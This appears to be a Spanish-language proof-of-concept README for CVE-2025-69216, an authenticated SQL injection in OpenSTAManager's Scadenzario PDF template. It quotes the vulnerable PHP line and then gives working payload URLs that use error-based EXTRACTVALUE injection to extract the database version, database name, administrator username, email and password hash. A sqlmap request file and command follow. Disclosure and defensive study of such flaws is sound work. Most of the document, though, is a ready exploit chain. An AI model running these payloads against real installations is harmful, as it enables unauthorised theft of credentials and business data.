
Repositorio de prueba de concepto para CVE-2025-69216, una inyección SQL autenticada en la plantilla de impresión Scadenzario de OpenSTAManager, que permite la extracción de credenciales de administrador y contenidos de la base de datos mediante SQLi basada en errores y ciega.
| Campo | Detalles |
|---|
| ID de CVE | CVE-2025-69216 |
| Gravedad | ALTA |
| Aviso de seguridad | Ver aviso |
| Descubierto por | Lukasz Rybak |
Una vulnerabilidad de inyección SQL autenticada en la plantilla de impresión Scadenzario (Calendario de pagos) de OpenSTAManager permite a cualquier usuario autenticado extraer datos confidenciales de la base de datos, incluidas credenciales de administrador, información de clientes y registros financieros. La vulnerabilidad permite el acceso de lectura completo a la base de datos mediante técnicas de inyección SQL basadas en errores.
La vulnerabilidad existe en templates/scadenzario/init.php en la línea 46, donde el parámetro id_anagrafica se concatena directamente en una consulta SQL sin la sanitización adecuada:
Código vulnerable:
if (get('id_anagrafica') && get('id_anagrafica') != 'null') {
$module_query = str_replace('1=1', '1=1 AND `co_scadenziario`.`idanagrafica`="'.get('id_anagrafica').'"', $module_query);
$id_anagrafica = get('id_anagrafica');
}
La función get() recupera la entrada del usuario de los parámetros GET/POST sin validación. El valor del parámetro se incrusta directamente en la cadena de la consulta SQL mediante concatenación de cadenas en lugar de utilizar la función de sanitización prepare() de la aplicación, lo que permite ataques de inyección SQL.
Causa raíz:
prepare() para la sanitización de entradasEndpoint afectado:
/pdfgen.php?ptype=scadenzario&id_anagrafica=[INJECTION_PAYLOAD]
Archivos afectados:
templates/scadenzario/init.php (línea 46) - Vulnerabilidad principaltemplates/scadenzario/init.php (líneas 34, 40) - Patrón similar con parámetros de fechapdfgen.php - Punto de entrada para el renderizado de plantillas1. Confirmar la vulnerabilidad: prueba básica de error de sintaxis:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20--%20
Error de sintaxis SQL mostrado en la respuesta de la aplicación

2. Extraer la versión de la base de datos: SQLi basado en errores:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))%20AND%20%221%22=%221
Resultado: ~8.3.0~ (versión de MySQL)

3. Extraer el nombre de la base de datos:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,database(),0x7e))%20AND%20%221%22=%221
Resultado: ~openstamanager~

4. Extraer el nombre de usuario del administrador:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20username%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221
Resultado: ~admin~

5. Extraer el correo electrónico del administrador:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20email%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221
Resultado: Dirección de correo electrónico del administrador

6. Extraer el hash de la contraseña (parcial - límite de 31 caracteres de XPATH):
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20password%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221
Resultado: hash de contraseña bcrypt

7. Explotación automatizada con SQLMap:
Crea el archivo de solicitud sqli_osm.req:
GET /pdfgen.php?ptype=scadenzario&id_anagrafica=1* HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=[SESSION_COOKIE]
User-Agent: Mozilla/5.0
Ejecuta SQLMap:
sqlmap -r sqli_osm.req --level 3 --risk 3 --dbs
Tipos de inyección confirmados por SQLMap:

Quiénes se ven afectados:
Informado por Łukasz Rybak
Este CVE fue divulgado de manera responsable siguiendo las prácticas de divulgación coordinada de vulnerabilidades. La información proporcionada aquí es solo con fines educativos y defensivos.